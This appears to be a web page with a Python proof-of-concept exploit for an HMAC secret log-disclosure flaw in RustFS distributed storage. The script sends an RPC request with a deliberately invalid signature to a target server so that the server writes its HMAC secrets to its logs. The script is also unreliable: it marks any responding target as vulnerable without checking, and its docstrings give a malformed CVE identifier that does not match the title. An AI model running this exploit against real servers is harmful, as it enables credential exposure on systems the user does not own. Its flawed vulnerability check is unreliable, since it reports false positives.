CVE-2026-22782 RustFS分布式存储HMAC密钥日志泄露漏洞

#!/usr/bin/env python3 """ CVE-2026-2026-22782 PoC - RustFS HMAC Secret Log Disclosure This PoC demonstrates how an attacker can trigger the logging of HMAC secrets by sending an RPC request with an invalid signature. Note: This is for educational and security testing purposes only. """ import requests import hashlib import hmac import json from urllib.parse import urljoin def generate_invalid_signature(message, secret): """Generate an invalid signature (wrong format) to trigger the vulnerability""" # Using a simple hash instead of proper HMAC to create an invalid signature return hashlib.sha256(message.encode()).hexdigest() def exploit_rustfs_hmac_disclosure(target_url, rpc_endpoint="/rpc"): """ Exploit CVE-2026-2026-22782 by sending a request with invalid signature to trigger HMAC secret logging. Args: target_url: Base URL of the RustFS server rpc_endpoint: RPC endpoint path Returns: dict: Exploitation result """ full_url = urljoin(target_url, rpc_endpoint) # Craft a request with invalid signature to trigger the vulnerable code path payload = { "method": "storage.list", "params": {}, "id": 1 } headers = { "Content-Type": "application/json", "X-Signature": generate_invalid_signature(json.dumps(payload), "dummy") } try: response = requests.post(full_url, json=payload, headers=headers, timeout=10) return { "status": "success", "target": target_url, "http_status": response.status_code, "vulnerable": True, "note": "Request sent with invalid signature. Check server logs for leaked HMAC secrets.", "remediation": "Upgrade to RustFS 1.0.0-alpha.80 or later" } except requests.exceptions.RequestException as e: return { "status": "error", "message": str(e) } if __name__ == "__main__": # Example usage target = "http://target-rustfs-server:8080" result = exploit_rustfs_hmac_disclosure(target) print(json.dumps(result, indent=2))